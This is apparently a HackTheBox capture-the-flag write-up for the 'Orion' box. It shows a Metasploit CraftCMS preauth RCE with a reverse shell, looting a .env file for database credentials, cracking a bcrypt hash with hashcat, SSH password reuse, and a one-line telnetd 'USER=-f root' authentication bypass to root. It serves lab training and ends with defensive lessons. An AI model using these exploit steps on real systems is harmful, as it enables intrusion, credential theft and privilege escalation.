Orion - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐☆☆☆

Summary

Orion is an Easy Linux box built around a CraftCMS instance exposed on a vhost. CraftCMS 5.6.16 is vulnerable to a preauth RCE (CVE-2025-32432), which lands a www-data shell. From there the CraftCMS .env file leaks the MySQL root password, and dumping the users table yields a bcrypt hash that cracks with rockyou — and gets reused for SSH. Root falls to a vulnerable local telnetd (CVE-2026-24061) that accepts an auth-bypass via the USER environment variable.

TL;DR: nmap (22/80) → vhost orion.htb → CraftCMS 5.6.16 fingerprinted at /admin/login → CVE-2025-32432 preauth RCE (metasploit) → www-data → .env leaks MySQL root creds → dump users table → crack adam’s bcrypt hash → SSH password reuse → user adam → local telnetd (GNU inetutils 2.7) vulnerable to CVE-2026-24061 → USER="-f root" auth bypass → root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- orion.htb

Results:

• 22/tcp — SSH
• 80/tcp — HTTP (nginx), redirects to a vhost — added orion.htb to /etc/hosts

Service Enumeration

Browsing orion.htb shows a CraftCMS-powered site. The /admin path redirects to /admin/login, and the CraftCMS admin login page discloses the exact CMS version in its footer/metadata:

CraftCMS 5.6.16

Vulnerability Assessment

1. CraftCMS 5.6.16 is vulnerable to CVE-2025-32432 — an unauthenticated RCE in the asset image-transform action (actions/assets/generate-transform). Craft feeds attacker-controlled JSON into Yii’s object-configuration system, which lets an attacker specify arbitrary classes to instantiate (__class) and, via classes like GuzzleHttp\Psr7\FnStream, trigger arbitrary PHP execution when the object is torn down. This requires bypassing Craft’s CSRF check first (session cookie + CSRF cookie + X-CSRF-Token header pulled from /admin/login), which the public exploit chain and the Metasploit module both automate.

Initial Foothold

Exploitation Path

Metasploit ships a ready module for CVE-2025-32432 that automates the CSRF-token dance, leaks the PHP session save path via a forced phpinfo() call, drops a webshell stub into a PHP session file, and then triggers it through a second crafted generate-transform request:

msfconsole
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set rhosts orion.htb
set rport 80
set lhost 10.10.15.180
exploit

This returns a shell as www-data.

www-data@orion:~/html/craft$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CraftCMS stores its database credentials in a .env file at the app root — a standard Craft deployment convention:

www-data@orion:~/html/craft$ cat .env
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Reused MySQL root creds give direct DB access, and the users table holds the CMS admin’s bcrypt hash:

www-data@orion:~/html/craft$ mysql -u root -p'SuperSecureCraft123Pass!' orion
MariaDB [orion]> select username, password from users;
+----------+----------------------------------------------------------------+
| username | password                                                        |
+----------+----------------------------------------------------------------+
| admin    | $2y$13$e9zuohgFZzGtbQalcn9Mz...                                 |
+----------+----------------------------------------------------------------+

Cracking the bcrypt hash with rockyou:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# $2y$13$e9zuohgFZzGtbQalcn9Mz...:darkangel

The recovered password (darkangel) is reused for the adam SSH account:

ssh adam@orion.htb
# Password: darkangel
adam@orion:~$ cat user.txt
<redacted>

Privilege Escalation

Checking locally-bound listeners as adam turns up a telnet daemon bound only to loopback:

adam@orion:~$ ss -tulnp | grep 23
tcp   LISTEN  0  0  127.0.0.1:23  0.0.0.0:*
adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7

GNU inetutils telnetd 2.7 is vulnerable to CVE-2026-24061, an authentication-bypass flaw: telnetd passes the client-supplied USER environment variable straight through to login(1). Setting USER="-f root" causes login to parse it as the -f (force, skip-auth) flag with root as the target account, rather than as a literal username — logging in as root with no password check:

adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
root@orion:~# cat root.txt
<redacted>

Attack Chain Summary

nmap (22/80) → vhost orion.htb → CraftCMS 5.6.16 fingerprint
  → CVE-2025-32432 preauth RCE (metasploit) → www-data
  → craft/.env leaks MySQL root password
  → dump users table → crack adam's bcrypt hash (darkangel)
  → SSH password reuse → user adam
  → local telnetd (GNU inetutils 2.7) → CVE-2026-24061 USER="-f root" bypass
  → root

Tools Used

Key Learnings

Techniques Practiced

• Preauth RCE against CraftCMS via Yii object-injection (CVE-2025-32432)
• Locating and looting a framework .env file for DB credentials
• Bcrypt hash cracking with hashcat (-m 3200)
• Credential reuse pivoting (DB password → cracked hash → SSH)
• Local-only service enumeration (ss -tulnp) post-foothold
• telnetd USER environment-variable auth bypass (CVE-2026-24061)

Lessons Learned

1. Exposing CMS version numbers on a login page is a low-effort but high-value recon win for attackers — it turns a guess into a targeted CVE lookup.
2. .env files at the webroot are a recurring soft spot in PHP framework deployments; any RCE foothold should immediately check for one.
3. Password reuse between a database credential and a CMS admin account, and again between the CMS account and SSH, chains small leaks into full user compromise.
4. Services bound to 127.0.0.1 are not “safe by default” — once local shell access exists, they’re just as exploitable as external ones, and legacy daemons like telnetd carry real, currently-assigned CVEs.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• Pho3o, “Orion” HackTheBox writeup — official walkthrough used here to explain the CraftCMS CSRF-bypass/object-injection mechanics behind CVE-2025-32432 and the login -f semantics behind CVE-2026-24061. All IPs, credentials, and command output above are from this box’s own solve, not the reference.